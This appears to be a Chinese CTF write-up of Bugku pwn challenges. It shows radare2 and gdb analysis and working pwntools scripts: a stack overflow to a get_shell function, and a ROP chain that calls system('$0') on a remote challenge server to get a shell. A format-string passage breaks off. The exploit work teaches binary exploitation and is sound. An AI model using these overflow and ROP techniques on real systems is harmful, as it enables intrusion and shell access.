Bugku Pwn Walkthrough

前言

学习组原后对pwn的理解能力提升了。跟着wp走一遍,增加对pwn的基本了解,记录一下流程,使用工具主要为radare2和gdb

参考链接:https://blog.csdn.net/kety_gz/article/details/100516666

pwn1

不涉及pwn,略

pwn2

checksec

1
2
3
$checksec --file=pwn2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 74 Symbols No 0 2 pwn2

rabin2查看程序信息和字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$rabin2 -I pwn2
arch x86
baddr 0x400000
binsz 6946
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.0-6ubuntu1~16.04.10) 53.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true

$rabin2 -z pwn2
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000804 0x00400804 14 15 .rodata ascii say something?
1 0x00000813 0x00400813 20 21 .rodata ascii oh,that's so boring!
2 0x00000828 0x00400828 27 28 .rodata ascii tql~tql~tql~tql~tql~tql~tql
3 0x00000844 0x00400844 18 19 .rodata ascii this is your flag!
4 0x00000857 0x00400857 8 9 .rodata ascii cat flag

r2追踪cat flag字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$r2 pwn2
-- Search returned no hits. Did you mean 'Misassemble'?
[0x004005d0]> aaa
[Cannot analyze at 0x004005c0g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x004005c0ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004005d0]> axt @ 0x00400857
sym.get_shell 0x400769 [DATA] mov edi, str.cat_flag

r2列出函数并定位sym.get_shell,确定目标为执行get_shell函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x004005d0]> afl
0x004005d0 1 41 entry0
0x004005a0 1 6 sym.imp.__libc_start_main
0x00400600 4 50 -> 41 sym.deregister_tm_clones
0x00400640 4 58 -> 55 sym.register_tm_clones
0x00400680 3 28 entry.fini0
0x004006a0 4 38 -> 35 entry.init0
0x004007f0 1 2 sym.__libc_csu_fini
0x004007f4 1 9 sym._fini
0x00400751 1 37 sym.get_shell
0x00400560 1 6 sym.imp.puts
0x00400570 1 6 sym.imp.system
0x00400780 4 101 sym.__libc_csu_init
0x004006c6 1 139 main
0x00400580 1 6 sym.imp.memset
0x004005b0 1 6 sym.imp.setvbuf
0x00400590 1 6 sym.imp.read
0x00400528 3 26 sym._init

r2反汇编sym.main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[0x004005d0]> pdf @ sym.main
┌ 139: int main (int argc, char **argv, char **envp);
│ ; var void *buf @ rbp-0x30
│ ; DATA XREF from entry0 @ 0x4005ed
│ 0x004006c6 55 push rbp
│ 0x004006c7 4889e5 mov rbp, rsp
│ 0x004006ca 4883ec30 sub rsp, 0x30
│ 0x004006ce 488d45d0 lea rax, [buf]
│ 0x004006d2 ba30000000 mov edx, 0x30 ; '0' ; 48 ; size_t n
│ 0x004006d7 be00000000 mov esi, 0 ; int c
│ 0x004006dc 4889c7 mov rdi, rax ; void *s
│ 0x004006df e89cfeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x004006e4 488b05750920. mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│ ; [0x601060:8]=0
│ 0x004006eb b900000000 mov ecx, 0 ; size_t size
│ 0x004006f0 ba02000000 mov edx, 2 ; int mode
│ 0x004006f5 be00000000 mov esi, 0 ; char *buf
│ 0x004006fa 4889c7 mov rdi, rax ; FILE*stream
│ 0x004006fd e8aefeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00400702 488b05670920. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x601070:8]=0
│ 0x00400709 b900000000 mov ecx, 0 ; size_t size
│ 0x0040070e ba01000000 mov edx, 1 ; int mode
│ 0x00400713 be00000000 mov esi, 0 ; char *buf
│ 0x00400718 4889c7 mov rdi, rax ; FILE*stream
│ 0x0040071b e890feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00400720 bf04084000 mov edi, str.say_something ; 0x400804 ; "say something?" ; const char *s
│ 0x00400725 e836feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040072a 488d45d0 lea rax, [buf]
│ 0x0040072e ba00010000 mov edx, 0x100 ; rdx ; size_t nbyte
│ 0x00400733 4889c6 mov rsi, rax ; void *buf
│ 0x00400736 bf00000000 mov edi, 0 ; int fildes
│ 0x0040073b e850feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400740 bf13084000 mov edi, str.oh_that_s_so_boring ; 0x400813 ; "oh,that's so boring!" ; const char *s
│ 0x00400745 e816feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040074a b800000000 mov eax, 0
│ 0x0040074f c9 leave
└ 0x00400750 c3 ret

read()可造成栈溢出,尝试覆盖rip,自动测试溢出长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 生成De Bruijn序列
$ragg2 -P 200 -r > patt.txt
$cat patt.txt
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
# Debug所使用的配置文件
$cat > pwn2.rr2 <<EOF
> #!/usr/bin/rarun2
> stdin=./patt.txt
> EOF
# 暂时关闭ASLR
$echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
# 开始Debug
$r2 -r pwn2.rr2 -d pwn2
Process with PID 24375 started...
= attach 24375 24375
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
-- Move around the bytes with h,j,k,l! Arrow keys are neither portable nor efficient
[0x7ffff7fd3100]> dc
say something?
oh,that's so boring!
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400750]> wopO `dr rip`
-1

发现rip没有被覆盖,查看寄存器和栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
[0x00400750]> dr
rax = 0x00000000
rbx = 0x00400780
rcx = 0x7ffff7ed0567
rdx = 0x00000000
r8 = 0x00000015
r9 = 0x7ffff7fe2260
r10 = 0x004003cd
r11 = 0x00000246
r12 = 0x004005d0
r13 = 0x7fffffffe250
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x7ffff7fa0583
rdi = 0x7ffff7fa2320
rsp = 0x7fffffffe168
rbp = 0x4153414152414151
rip = 0x00400750
rflags = 0x00010246
orax = 0xffffffffffffffff
[0x00400750]> pxr @ rsp
0x7fffffffe168 0x5641415541415441 ATAAUAAV @rsp ascii ('A')
0x7fffffffe170 0x4141584141574141 AAWAAXAA ascii ('A')
0x7fffffffe178 0x416141415a414159 YAAZAAaA ascii ('Y')
0x7fffffffe180 0x6441416341416241 AbAAcAAd ascii ('A')
0x7fffffffe188 0x4141664141654141 AAeAAfAA ascii ('A')
0x7fffffffe190 0x4169414168414167 gAAhAAiA ascii ('g')
0x7fffffffe198 0x6c41416b41416a41 AjAAkAAl ascii ('A')
0x7fffffffe1a0 0x41416e41416d4141 AAmAAnAA ascii ('A')
0x7fffffffe1a8 0x417141417041416f oAApAAqA ascii ('o')
0x7fffffffe1b0 0x7441417341417241 ArAAsAAt ascii ('A')
0x7fffffffe1b8 0x4141764141754141 AAuAAvAA ascii ('A')
0x7fffffffe1c0 0x4179414178414177 wAAxAAyA ascii ('w')
0x7fffffffe1c8 0x3241413141417a41 AzAA1AA2 ascii ('A')
0x7fffffffe1d0 0x4141344141334141 AA3AA4AA ascii ('A')
0x7fffffffe1d8 0x4137414136414135 5AA6AA7A ascii ('5')
0x7fffffffe1e0 0x3041413941413841 A8AA9AA0 ascii ('A')
0x7fffffffe1e8 0x4241434241424241 ABBABCAB ascii ('A')
0x7fffffffe1f0 0x4146424145424144 DABEABFA ascii ('D')
0x7fffffffe1f8 0x00007fffffff0a0a ........ ([stack]) stack R W X 'add byte [rax], al' '[stack]'
0x7fffffffe200 0x00007ffff7ffe120 ....... (unk0) R W X 'add byte [rax], al' 'unk0'
0x7fffffffe208 ..[ null bytes ].. 00000000
0x7fffffffe218 0x00000000004005d0 ..@..... (/home/houwd/Desktop/pwn2) 4195792 (.text) program R X 'xor ebp, ebp' 'pwn2'
0x7fffffffe220 0x00007fffffffe250 P....... ([stack]) stack R W X 'add dword [rax], eax' '[stack]'
0x7fffffffe228 ..[ null bytes ].. 00000000
0x7fffffffe238 0x00000000004005f9 ..@..... (/home/houwd/Desktop/pwn2) 4195833 (.text) program R X 'hlt' 'pwn2'
0x7fffffffe240 0x00007fffffffe248 H....... ([stack]) stack R W X 'sbb al, 0' '[stack]'
0x7fffffffe248 0x000000000000001c ........ 28 (.comment)
0x7fffffffe250 0x0000000000000001 ........ @r13 1 (.comment)
0x7fffffffe258 0x00007fffffffe539 9....... ([stack]) stack R W X 'invalid' '[stack]' (./pwn2)
0x7fffffffe260 ..[ null bytes ].. 00000000

栈溢出,但在ret前就发生了segmentation fault,这里无法通过wopO指令自动定位

gdb反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$gdb pwn2
GNU gdb (GDB) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwn2...
(No debugging symbols found in pwn2)
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004006c6 <+0>: push rbp
0x00000000004006c7 <+1>: mov rbp,rsp
0x00000000004006ca <+4>: sub rsp,0x30
0x00000000004006ce <+8>: lea rax,[rbp-0x30]
0x00000000004006d2 <+12>: mov edx,0x30
0x00000000004006d7 <+17>: mov esi,0x0
0x00000000004006dc <+22>: mov rdi,rax
0x00000000004006df <+25>: call 0x400580 <memset@plt>
0x00000000004006e4 <+30>: mov rax,QWORD PTR [rip+0x200975] # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006eb <+37>: mov ecx,0x0
0x00000000004006f0 <+42>: mov edx,0x2
0x00000000004006f5 <+47>: mov esi,0x0
0x00000000004006fa <+52>: mov rdi,rax
0x00000000004006fd <+55>: call 0x4005b0 <setvbuf@plt>
0x0000000000400702 <+60>: mov rax,QWORD PTR [rip+0x200967] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400709 <+67>: mov ecx,0x0
0x000000000040070e <+72>: mov edx,0x1
0x0000000000400713 <+77>: mov esi,0x0
0x0000000000400718 <+82>: mov rdi,rax
0x000000000040071b <+85>: call 0x4005b0 <setvbuf@plt>
--Type <RET> for more, q to quit, c to continue without paging--c
0x0000000000400720 <+90>: mov edi,0x400804
0x0000000000400725 <+95>: call 0x400560 <puts@plt>
0x000000000040072a <+100>: lea rax,[rbp-0x30]
0x000000000040072e <+104>: mov edx,0x100
0x0000000000400733 <+109>: mov rsi,rax
0x0000000000400736 <+112>: mov edi,0x0
0x000000000040073b <+117>: call 0x400590 <read@plt>
0x0000000000400740 <+122>: mov edi,0x400813
0x0000000000400745 <+127>: call 0x400560 <puts@plt>
0x000000000040074a <+132>: mov eax,0x0
0x000000000040074f <+137>: leave
0x0000000000400750 <+138>: ret
End of assembler dump.
(gdb)

可以看出读入的标准输入从rbp-0x30处写入,而64位返回地址一般位于rbp+8,因此写入0x38个字节后达到返回地址处(覆盖rbp)

编写shell脚本测试崩溃长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$cat crashtest.sh 
#!/bin/bash
for i in {1..100};do
input=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $i)
echo $input | ./pwn2
if [ $? -ne 0 ];then
echo "OOOOOps!!! input($input) of length $i crush this program!"
break
fi
done

$./crashtest.sh
...
...
say something?
oh,that's so boring!
./crashtest.sh: line 2: 25716 Done echo $input
25717 Segmentation fault (core dumped) | ./pwn2
OOOOOps!!! input(r7ebllcu4750mwxo5ikgtqer2v097sw12a26r7gov79ioaoijxx1oca9) of length 56 crush this program!

编写脚本进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

sh = process('./pwn2')
#sh = remote('114.116.54.89', 10003)
print(sh.recvline())

padding = b'A' * 0x38
shell_addr = p64(0x400751) # get_shell地址

payload = padding + shell_addr
print("payload: ", payload)
sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
$python pwn2.py 
[+] Opening connection to 114.116.54.89 on port 10003: Done
b'say something?\n'
payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x07@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
oh,that's so boring!
tql~tql~tql~tql~tql~tql~tql
this is your flag!
flag{n0w_y0u_kn0w_the_Stack0verfl0w}[*] Got EOF while reading in interactive
$
[*] Interrupted

pwn4

checksec

1
2
3
$checksec --file=pwn4 
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 2 pwn4

rabin2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$rabin2 -z pwn4 
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000007f8 0x004007f8 21 22 .rodata ascii Come on,try to pwn me
1 0x0000080e 0x0040080e 19 20 .rodata ascii So~sad,you are fail
2 0x00000828 0x00400828 42 43 .rodata ascii ok~you find me,but you can't get my shell'
0 0x00001080 0x00601080 24 25 .data ascii 87asdhf893HF*ry0395$sd)F
1 0x00001099 0x00601099 6 7 .data ascii Y)*SF)
2 0x00001100 0x00601100 33 34 .data ascii 4985y9y()DY)*YFG8yas08d976s08d7$0
3 0x00001122 0x00601122 11 12 .data ascii sadaDS&*(7s
4 0x00001180 0x00601180 21 22 .data ascii 89Y*G(*YfGF0YF8f08yf8
5 0x00001196 0x00601196 18 19 .data ascii )a8s7d0$sd)D9gf-s)
6 0x00001200 0x00601200 33 34 .data ascii hhhhh, are you finding the binsh?
7 0x00001280 0x00601280 19 20 .data ascii sorry!nothing here!
8 0x00001300 0x00601300 20 21 .data ascii 23333333333333333333
$rabin2 -I pwn4
arch x86
baddr 0x400000
binsz 5269
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum false
lsyms false
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs false
relro partial
rpath NONE
sanitiz false
static false
stripped true
subsys linux
va true

r2查看函数,反汇编main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[0x004005d0]> pdf @main
┌ 139: int main (int argc, char **argv, char **envp);
│ ; var void *buf @ rbp-0x10
│ ; DATA XREF from entry0 @ 0x4005ed
│ 0x004006c6 55 push rbp
│ 0x004006c7 4889e5 mov rbp, rsp
│ 0x004006ca 4883ec10 sub rsp, 0x10
│ 0x004006ce 488d45f0 lea rax, [buf]
│ 0x004006d2 ba10000000 mov edx, 0x10 ; 16 ; size_t n
│ 0x004006d7 be00000000 mov esi, 0 ; int c
│ 0x004006dc 4889c7 mov rdi, rax ; void *s
│ 0x004006df e89cfeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x004006e4 488b05850c20. mov rax, qword [obj.stdout] ; [0x601370:8]=0
│ 0x004006eb b900000000 mov ecx, 0 ; size_t size
│ 0x004006f0 ba02000000 mov edx, 2 ; int mode
│ 0x004006f5 be00000000 mov esi, 0 ; char *buf
│ 0x004006fa 4889c7 mov rdi, rax ; FILE*stream
│ 0x004006fd e8aefeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00400702 488b05770c20. mov rax, qword [obj.stdin] ; [0x601380:8]=0
│ 0x00400709 b900000000 mov ecx, 0 ; size_t size
│ 0x0040070e ba01000000 mov edx, 1 ; int mode
│ 0x00400713 be00000000 mov esi, 0 ; char *buf
│ 0x00400718 4889c7 mov rdi, rax ; FILE*stream
│ 0x0040071b e890feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00400720 bff8074000 mov edi, str.Come_on_try_to_pwn_me ; 0x4007f8 ; "Come on,try to pwn me" ; const char *s
│ 0x00400725 e836feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040072a 488d45f0 lea rax, [buf]
│ 0x0040072e ba30000000 mov edx, 0x30 ; rdx ; size_t nbyte
│ 0x00400733 4889c6 mov rsi, rax ; void *buf
│ 0x00400736 bf00000000 mov edi, 0 ; int fildes
│ 0x0040073b e850feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400740 bf0e084000 mov edi, str.So_sad_you_are_fail ; rdi
│ ; 0x40080e ; "So~sad,you are fail" ; const char *s
│ 0x00400745 e816feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040074a b800000000 mov eax, 0
│ 0x0040074f c9 leave
└ 0x00400750 c3 ret

尝试0x18字节输入使程序崩溃

1
2
3
4
5
6
7
8
$./crashtest
...
...
Come on,try to pwn me
So~sad,you are fail
./crashtest.sh: line 2: 18245 Done echo $input
18246 Segmentation fault (core dumped) | ./pwn4
OOOOOps!!! input(6pjkpjobr21b1ol71c29d4lf) of length 24 crush this program!

列出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
[0x004005d0]> afl
0x004005d0 1 41 entry0
0x004005a0 1 6 sym.imp.__libc_start_main
0x00400560 1 6 sym.imp.puts
0x00400570 1 6 sym.imp.system
0x00400580 1 6 sym.imp.memset
0x00400590 1 6 sym.imp.read
0x004005b0 1 6 sym.imp.setvbuf
0x004006c6 1 139 main
0x004006a0 8 134 -> 90 entry.init0
0x00400680 3 28 entry.fini0
0x00400600 4 50 -> 41 fcn.00400600
0x00400528 3 26 fcn.00400528

可以利用sym.imp.system函数获得shell,寻找调用处

1
2
[0x00000000]> axt @ sym.imp.system
fcn.00400751 0x40075a [CALL] call sym.imp.system

得到调用sym.imp.system的代码地址0x40075a

sym.imp.system系统调用需要一个参数,寻找/bin/sh

1
2
3
$ROPgadget --binary pwn4 --string '/bin/sh'
Strings information
============================================================

未果,在字符串中发现有一个4985y9y()DY)*YFG8yas08d976s08d7$0,可以通过$0作为参数,调用system,也可以获得shell

1
2
3
4
$ROPgadget --binary pwn4 --string '\$0'
Strings information
============================================================
0x000000000060111f : $0

得到$0的地址为0x000000000060111f

接下来需要将$0作为参数,64位程序中使用寄存器传参,从左向右依次用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数大于等于7的时候,后面的参数依次入栈); 32位程序使用栈传参,参数从右向左依次入栈

这里需要将$0的地址存入rdi中,查找可以得到pop rdi;ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ROPgadget --binary pwn4 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop r14 ; pop r15 ; ret
0x00000000004007d2 : pop r15 ; ret
0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400630 : pop rbp ; ret
0x00000000004007d3 : pop rdi ; ret
0x00000000004007d1 : pop rsi ; pop r15 ; ret
0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400541 : ret

其中0x00000000004007d3 : pop rdi ; ret符合需求

编写利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#sh = process('./pwn4')
sh = remote('114.116.54.89', 10004)
print(sh.recvline())

padding = b'A' * 0x18
rop = p64(0x4007d3) # address of `pop rdi;ret`
shell_str = p64(0x60111f) # address of '$0'
system_addr = p64(0x40075a) # address of code calling sym.imp.system

payload = padding + rop + shell_str + system_addr
print(payload)

sh.send(payload)
sh.interactive()
1
2
3
4
5
6
7
8
9
$python pwn4.py 
[+] Opening connection to 114.116.54.89 on port 10004: Done
b'Come on,try to pwn me\n'
b'AAAAAAAAAAAAAAAAAAAAAAAA\xd3\x07@\x00\x00\x00\x00\x00\x1f\x11`\x00\x00\x00\x00\x00Z\x07@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
So~sad,you are fail
$ cat /flag
flag{264bc50112318cd6e1a67b0724d6d3af}$
[*] Interrupted

这道题用到了ROP,在main函数中执行read()后,栈顶返回地址被改写为pop rdi;ret所在的地址。main函数执行ret时,跳转执行pop rdi;ret,此时栈顶存有$0的地址,执行pop rdi时地址被送入rdi中。随后又执行了ret,此时栈顶返回地址为调用system()的代码的地址,system()被调用。system()将rdi指向的内容作为参数,而字符串$0\0恰好位于整个字符串末尾,因而执行system(‘$0’)

pwn5

checksec

1
2
3
$checksec --file=human 
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 3 human

查看字符串

1
2
3
4
5
6
7
8
9
$rabin2 -z human 
[Strings]
nth paddr vaddr len size section type string
――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000958 0x00400958 10 27 .rodata utf8 人类的本质是什么?\n blocks=CJK Unified Ideographs,Basic Latin
1 0x00000978 0x00400978 11 32 .rodata utf8 一位群友打烂了复读机! blocks=CJK Unified Ideographs,Basic Latin
2 0x00000998 0x00400998 10 27 .rodata utf8 \n人类还有什么本质? blocks=Basic Latin,CJK Unified Ideographs
3 0x000009c8 0x004009c8 15 42 .rodata utf8 你并没有理解人类的本质,再见! blocks=CJK Unified Ideographs,Basic Latin
4 0x000009f8 0x004009f8 17 46 .rodata utf8 人类的三大本质:复读机,真香,鸽子 blocks=CJK Unified Ideographs,Basic Latin

列出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x004006a0]> afl
0x004006a0 1 41 entry0
0x00400640 1 6 sym.imp.__libc_start_main
0x004006d0 4 50 -> 41 sym.deregister_tm_clones
0x00400710 4 58 -> 55 sym.register_tm_clones
0x00400750 3 28 entry.fini0
0x00400770 4 38 -> 35 entry.init0
0x00400940 1 2 sym.__libc_csu_fini
0x00400944 1 9 sym._fini
0x004008d0 4 101 sym.__libc_csu_init
0x00400796 4 308 main
0x004005d0 3 26 sym._init
0x00400600 1 6 sym.imp.puts
0x00400610 1 6 sym.imp.printf
0x00400620 1 6 sym.imp.memset
0x00400630 1 6 sym.imp.read
0x00400650 1 6 sym.imp.setvbuf
0x00400660 1 6 sym.imp.exit
0x00400670 1 6 sym.imp.sleep
0x00400680 1 6 sym.imp.strstr

发现危险函数sym.imp.printf,存在格式化字符串漏洞。结合sym.imp.__libc_start_main函数,可以计算出libc的基地址,实现ret2libc

反汇编main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
[0x004006a0]> pdf @main
┌ 308: int main (int argc, char **argv, char **envp);
│ ; var char *format @ rbp-0x20
│ ; DATA XREF from entry0 @ 0x4006bd
│ 0x00400796 55 push rbp
│ 0x00400797 4889e5 mov rbp, rsp
│ 0x0040079a 4883ec20 sub rsp, 0x20
│ 0x0040079e 488b05cb0820. mov rax, qword [obj.stdout] ; rdi
│ ; [0x601070:8]=0
│ 0x004007a5 b900000000 mov ecx, 0 ; size_t size
│ 0x004007aa ba02000000 mov edx, 2 ; int mode
│ 0x004007af be00000000 mov esi, 0 ; char *buf
│ 0x004007b4 4889c7 mov rdi, rax ; FILE*stream
│ 0x004007b7 e894feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x004007bc 488b05bd0820. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x601080:8]=0
│ 0x004007c3 b900000000 mov ecx, 0 ; size_t size
│ 0x004007c8 ba01000000 mov edx, 1 ; int mode
│ 0x004007cd be00000000 mov esi, 0 ; char *buf
│ 0x004007d2 4889c7 mov rdi, rax ; FILE*stream
│ 0x004007d5 e876feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x004007da 488d45e0 lea rax, [format]
│ 0x004007de ba20000000 mov edx, 0x20 ; 32 ; size_t n
│ 0x004007e3 be00000000 mov esi, 0 ; int c
│ 0x004007e8 4889c7 mov rdi, rax ; void *s
│ 0x004007eb e830feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x004007f0 bf58094000 mov edi, 0x400958 ; const char *s
│ 0x004007f5 e806feffff call sym.imp.puts ; int puts(const char *s)
│ 0x004007fa 488d45e0 lea rax, [format]
│ 0x004007fe ba08000000 mov edx, 8 ; size_t nbyte
│ 0x00400803 4889c6 mov rsi, rax ; void *buf
│ 0x00400806 bf00000000 mov edi, 0 ; int fildes
│ 0x0040080b e820feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400810 488d45e0 lea rax, [format]
│ 0x00400814 4889c7 mov rdi, rax ; const char *format
│ 0x00400817 b800000000 mov eax, 0
│ 0x0040081c e8effdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400821 488d45e0 lea rax, [format]
│ 0x00400825 4889c7 mov rdi, rax ; const char *s
│ 0x00400828 e8d3fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040082d 488d45e0 lea rax, [format]
│ 0x00400831 4889c7 mov rdi, rax ; const char *s
│ 0x00400834 e8c7fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400839 488d45e0 lea rax, [format]
│ 0x0040083d 4889c7 mov rdi, rax ; const char *s
│ 0x00400840 e8bbfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400845 bf78094000 mov edi, 0x400978 ; const char *s
│ 0x0040084a e8b1fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040084f bf01000000 mov edi, 1 ; int s
│ 0x00400854 e817feffff call sym.imp.sleep ; int sleep(int s)
│ 0x00400859 bf98094000 mov edi, 0x400998 ; const char *s
│ 0x0040085e e89dfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400863 488d45e0 lea rax, [format]
│ 0x00400867 ba40000000 mov edx, 0x40 ; rdx ; size_t nbyte
│ 0x0040086c 4889c6 mov rsi, rax ; void *buf
│ 0x0040086f bf00000000 mov edi, 0 ; int fildes
│ 0x00400874 e8b7fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400879 488d45e0 lea rax, [format]
│ 0x0040087d beb3094000 mov esi, 0x4009b3 ; const char *s2
│ 0x00400882 4889c7 mov rdi, rax ; const char *s1
│ 0x00400885 e8f6fdffff call sym.imp.strstr ; char *strstr(const char *s1, const char *s2)
│ 0x0040088a 4885c0 test rax, rax
│ ┌─< 0x0040088d 7416 je 0x4008a5
│ │ 0x0040088f 488d45e0 lea rax, [format]
│ │ 0x00400893 beba094000 mov esi, 0x4009ba ; const char *s2
│ │ 0x00400898 4889c7 mov rdi, rax ; const char *s1
│ │ 0x0040089b e8e0fdffff call sym.imp.strstr ; char *strstr(const char *s1, const char *s2)
│ │ 0x004008a0 4885c0 test rax, rax
│ ┌──< 0x004008a3 7514 jne 0x4008b9
│ ││ ; CODE XREF from main @ 0x40088d
│ │└─> 0x004008a5 bfc8094000 mov edi, str. ; 0x4009c8 ; const char *s
│ │ 0x004008aa e851fdffff call sym.imp.puts ; int puts(const char *s)
